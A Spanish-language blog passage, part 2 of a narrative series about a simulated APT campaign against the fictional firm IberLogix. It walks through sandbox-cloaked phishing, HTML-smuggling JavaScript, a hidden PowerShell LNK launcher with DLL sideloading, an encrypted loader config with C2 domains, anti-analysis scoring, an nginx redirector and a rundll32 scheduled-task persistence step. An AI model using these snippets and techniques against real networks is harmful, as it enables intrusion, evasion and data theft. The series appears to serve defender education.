Anatomía de una APT simulada. Parte 2 - La semilla, el anzuelo y el primer latido

El primer correo llego un martes a las 08:42. No parecía peligroso. Ese fue su logro. No prometía bonos. No amenazaba con cerrar cuentas. No decía "URGENTE" en mayúsculas. El asunto era seco, administrativo, casi invisible: "Actualización requerida: Portal de beneficios 2026"


En IberLogix, nadie quería leer otro correo de RRHH. Precisamente por eso funcionó. El mensaje decía que, tras la integración de TransIber Norte, todos los empleados debían revisar sus beneficios antes del cierre mensual. El enlace apuntaba a:
https://beneficios-iberlogix[.]com/portal/revision

El dominio era falso. El certificado TLS era válido. El diseño copiaba el portal interno con suficiente fidelidad como para no activar la intuición de un empleado cansado. La landing no descargaba malware de inmediato. Primero clasificaba. 

El phishing como embudo técnico 

Saltline había construido el phishing como un producto con fases:
Email delivery
  -> link click
    -> browser fingerprint
      -> tenant/user validation
        -> credential prompt or payload path
          -> execution
            -> loader validation
              -> C2 enrollment

El servidor de phishing no entregaba lo mismo a todos. Revisaba:
IP ASN
GeoIP aproximado
User-Agent
Accept-Language
Timezone via JavaScript
Screen size
Referrer
Known corporate CIDR
Email token in URL

Si el visitante parecía una sandbox, investigador o servicio de análisis, veía una pagina de mantenimiento:


Si el visitante parecía empleado real desde una red o VPN plausible, se mostraba el portal. La URL llevaba un token:
/portal/revision?id=8f4a2c9b-emp-3941

Ese token no era solo tracking. Estaba asociado a un registro:
{
  "campaign": "black_orchard",
  "recipient": "marta.solis@iberlogix.example",
  "department": "finance",
  "seniority": "manager",
  "language": "es-ES",
  "payload_path": "html_smuggling",
  "priority": 8
}
La campaña tenía tres rutas:
Ruta A: Captura de credenciales M365
Ruta B: Consent phishing para app maliciosa
Ruta C: Descarga de paquete local con loader
La ruta A capturaba credenciales y MFA tokens si el flujo lo permitía. 
La ruta B intentaba que el usuario autorizase una aplicación OAuth con permisos de correo básicos. 
La ruta C entregaba el loader. 

Nebula Jackal prefería conseguir dos cosas: sesión cloud y endpoint. 
Un token sin máquina era útil. Una máquina sin correo era útil. Las dos juntas eran oro. 

HTML smuggling: el archivo nace dentro del navegador 

El payload no se descargaba como `exe`. La landing generaba localmente un ZIP usando JavaScript. La idea era simple: el contenido malicioso viajaba como datos codificados dentro de la página, y el navegador reconstruía el archivo en memoria. 

Fragmento conceptual:
<script>
const b64 = "UEsDBBQAAAAI..."; // ZIP cifrado y troceado
const bytes = Uint8Array.from(atob(b64), c => c.charCodeAt(0));
const blob = new Blob([bytes], {type: "application/zip"});
const a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = "Beneficios_IberLogix_2026.zip";
a.click();
</script>

El ZIP estaba protegido con una contraseña escrita en la pagina:
Clave del documento: IberLogix2026!

La contraseña no protegía la información. Protegía el payload de algunos motores automáticos que no desempaquetaban archivos cifrados en profundidad. Dentro había:



El PDF era real: un documento de beneficios copiado de materiales públicos y modificado. El `.lnk` era el ejecutable social. El usuario veía un icono de PDF, doble clickaba y el LNK lanzaba una cadena controlada. 
El comando del LNK, simplificado, era: 

powershell powershell.exe -NoP -W Hidden -ExecutionPolicy Bypass -Command " $p=$env:TEMP+'\IberBenefits'; New-Item -ItemType Directory -Force $p | Out-Null; Copy-Item '.\IberLogixBenefits.exe' $p; Copy-Item '.\version.dll' $p; Start-Process ($p+'\IberLogixBenefits.exe'); Start-Process '.\Beneficios_IberLogix_2026.pdf' " 

El truco era el DLL sideloading. `IberLogixBenefits.exe` era una aplicación legítima vulnerable a carga lateral de DLL (sideloading). Al ejecutarse, buscaba `version.dll` en su directorio. Windows resolvía primero la DLL local. Esa DLL era SeedCrate. El usuario veía abrirse el PDF. El loader respiraba por primera vez. 

SeedCrate: hacer poco, sobrevivir mucho 

Sable había diseñado SeedCrate con una filosofía estricta: el loader no era una navaja suiza. Era una semilla. Sus responsabilidades:
1. Comprobar entorno
2. Desempaquetar configuración
3. Establecer canal inicial
4. Enviar telemetría mínima
5. Descargar modulo de segunda fase si procede
6. Instalar persistencia ligera solo con aprobación C2
No volcaba credenciales. No escaneaba red. No inyectaba en procesos sensibles al inicio. No intentaba privilegios. No tocaba LSASS. El primer objetivo era sobrevivir las primeras horas. 

La configuración iba cifrada dentro de la DLL: 
struct seed_config {
    uint32_t magic;
    uint16_t version;
    uint16_t flags;
    uint8_t campaign_id[16];
    uint8_t config_nonce[12];
    uint8_t encrypted_blob[];
};

El blob descifrado contenía:
{
  "campaign": "black_orchard",
  "profile": "iberlogix_hr",
  "domains": [
    "cdn-beneficios[.]com",
    "static-hrsync[.]net",
    "assets-portal[.]cloud"
  ],
  "uri": ["/api/v1/sync", "/content/check", "/cdn/pixel"],
  "jitter_min": 1200,
  "jitter_max": 2700,
  "kill_after": "2026-04-30T00:00:00Z",
  "public_key": "base64-curve25519-key"
}

El primer beacon era deliberadamente aburrido: 
POST /api/v1/sync HTTP/1.1
Host: cdn-beneficios[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/octet-stream
Accept: */*
Connection: keep-alive

El cuerpo no era JSON. Era un paquete binario:
magic          4 bytes
version        2 bytes
campaign_id   16 bytes
host_id        16 bytes
nonce          12 bytes
ciphertext     n bytes
tag            16 bytes

La telemetría inicial incluía: 
{
  "hostname": "ES-MAD-FIN-0472",
  "domain": "IBERLOGIX",
  "username": "msolis",
  "integrity": "medium",
  "os": "Windows 10 22H2",
  "lang": "es-ES",
  "tz": "Romance Standard Time",
  "processes": ["MsMpEng.exe", "SenseIR.exe", "Teams.exe", "OneDrive.exe"],
  "ip_local": "10.44.18.91",
  "is_laptop": true,
  "joined_domain": true
}

El C2 respondía con una decisión:
{
  "action": "sleep",
  "next": 1840,
  "profile": "low_noise"
}

No siempre había segunda fase. Muchos hosts se descartaban. Un portátil de becario podía no valer el riesgo. Un servidor con EDR agresivo podía esperar. Una máquina de finanzas con VPN y OneDrive sincronizado subía de prioridad. La máquina de Marta Solis, manager de finanzas regional, subió a prioridad 9. 

Antianálisis sin teatro 

SeedCrate no llenaba el código de trucos espectaculares. Sable odiaba las evasiones vistosas porque se convertían en firmas. Prefería checks combinados y decisiones lentas. Ejemplos:
RAM < 4 GB                                  -> sospecha +2
CPU cores < 2                               -> sospecha +1
Uptime < 10 min                             -> sospecha +1
No domain join                              -> sospecha +2
Username matches analyst/sandbox/test       -> sospecha +2
Processes: procmon, x64dbg, wireshark       -> sospecha +3
Recent mouse/keyboard inactivity            -> sospecha +1
No corporate DNS suffix                     -> sospecha +2

Decisión:
score 0-2: continue
score 3-4: long sleep, reduced telemetry
score 5+: decoy mode

El decoy mode no se autodestruía dramáticamente. Abría el PDF y terminaba. En algunos casos descargaba una imagen o un archivo inocuo para confundir el análisis. 

Pseudocódigo: 

c int suspicion = 0; suspicion += check_resources(); suspicion += check_domain_context(); suspicion += check_analysis_tools(); suspicion += check_user_activity(); 

if (suspicion >= 5) { open_decoy_pdf(); return 0; } 
if (suspicion >= 3) { sleep_with_jitter(6 * HOURS, 14 * HOURS); } enroll_host(); 

La clave no era ser invisible. Era no parecer urgente.

Nighthook: el implante que escuchaba 

La segunda fase, Nighthook, se descargaba solo tras aprobación del operador. Era modular, escrito en Go con partes criticas en C para llamadas Windows específicas. 

Capacidades:
core:
  - beaconing HTTP(S)
  - task queue
  - file upload/download
  - process execution con control de salida
  - in-memory module loading

windows:
  - token enumeration
  - DPAPI context discovery
  - browser profile discovery
  - named pipe communication
  - WMI/WinRM helpers

opsec:
  - rate limiting
  - command allowlist por rol
  - operator approval gates
  - self-delete
  - per-host kill switch

Nighthook no permitía a cualquier operador lanzar cualquier cosa. El panel C2 imponía controles:
Operator Saltline:
  allowed: view host, tag host, request persistence
  denied: exec, dump, lateral

Operator Knifewall:
  allowed: exec, lateral helpers, AD modules
  denied: ransomware deploy

Operator Hollow:
  allowed: file search, staging, exfil
  denied: encrypt

Operator Nadir:
  allowed: deploy encryptor only after Curator approval

Esto no era ética. Era prevención de accidentes. Un operador impulsivo podía arruinar una campana. 

C2: capas, redirectores y perfiles 

Oboe separaba infraestructura en cinco niveles:
Victim endpoint
  -> redirector CDN-like
    -> regional front VPS
      -> C2 application
        -> operator panel behind VPN

Los redirectores filtraban por cabeceras, rutas y origen. Si el trafico no parecía implante, devolvían contenido estático: 

nginx location /api/v1/sync { if ($http_user_agent !~* "Mozilla/5.0") { return 404; } proxy_pass https://regional-node-3.internal; } 
location / { root /var/www/decoy; try_files $uri /index.html; } 

Los perfiles de beaconing se parecían a telemetría SaaS: 

yaml profile: iberlogix_hr_low_noise method: POST uris: - /api/v1/sync - /cdn/pixel - /content/check headers: Accept: "*/*" Content-Type: application/octet-stream Cache-Control: no-cache jitter: min_seconds: 1200 max_seconds: 2700 max_body_kb: 64 working_hours_bias: timezone: Europe/Madrid start: "07:30" end: "20:30" 

El implante no hablaba constantemente. Durante las primeras veinticuatro horas, Marta Solis genero cuatro beacons. Cuatro. En un SIEM lleno de millones de eventos, era una aguja sin brillo. ## QA criminal: probar antes de quemar Nebula Jackal tenia un laboratorio. No era perfecto, pero imitaba entornos corporativos:
Windows 10 / 11 workstations
Windows Server 2016 / 2019 / 2022
AD con OUs realistas
Defender for Endpoint trial
EDR comerciales pirateados o evaluaciones
M365 developer tenants
Fortinet VPN lab
Veeam Community Edition
Elastic/Splunk lab

Antes de usar SeedCrate contra IberLogix, hicieron una matriz:
Test                             Resultado
------------------------------------------------
ZIP password protected           OK
LNK executes from Downloads      OK
PDF decoy opens                  OK
DLL sideload path                OK
Defender static                  Clean
Defender behavior                Low signal
EDR A memory scan                Suspicious at 12m
EDR B network                    Clean
Sandbox Any.Run                  Decoy mode
VirusTotal upload                Prohibited internally

La regla "no VirusTotal" era absoluta. Subir muestras a servicios públicos era regalar inteligencia. Los operadores usaban entornos propios: 

powershell .\run_lab.ps1 -Profile IberLogix -EDR Defender -Payload SeedCrate .\simulate_click.ps1 -User marta.solis -Locale es-ES -VPNProfile madrid .\collect_telemetry.ps1 -Window 24h 

El objetivo no era detección cero. Era detección insuficiente, tarde y ambigua.

El primer error de IberLogix

Marta Solis no era ingenua. Había hecho cursos de phishing. Sabía no abrir adjuntos raros. Pero el correo no parecía raro porque hablaba de algo real. Venía en español correcto. El dominio se parecía. La pagina tenia TLS. 


El PDF se abrió. Nada explotó. Nada pidió permisos de administrador. Nada hizo ruido. A las 09:03, SeedCrate envió el primer beacon. A las 09:34, Magpie marcó el host:
host: ES-MAD-FIN-0472
user: IBERLOGIX\msolis
department: Finance
priority: 9
reason: finance manager, laptop, OneDrive, VPN, domain joined
next_action: deploy Nighthook, low noise

A las 11:12, Nighthook estaba instalado con persistencia ligera:
Scheduled Task:
  Name: AdobeUpdateSync
  Trigger: At user logon
  Action: rundll32.exe "%APPDATA%\Adobe\Cache\version.dll",Start
  User: current

El nombre no era perfecto. Era suficientemente mediocre. En empresas grandes, lo mediocre se mezcla mejor que lo brillante. El primer día no hicieron nada mas. Ese fue el segundo logro.

Continúa en Parte 3: Dentro del bosque de Active Directory 

Comentarios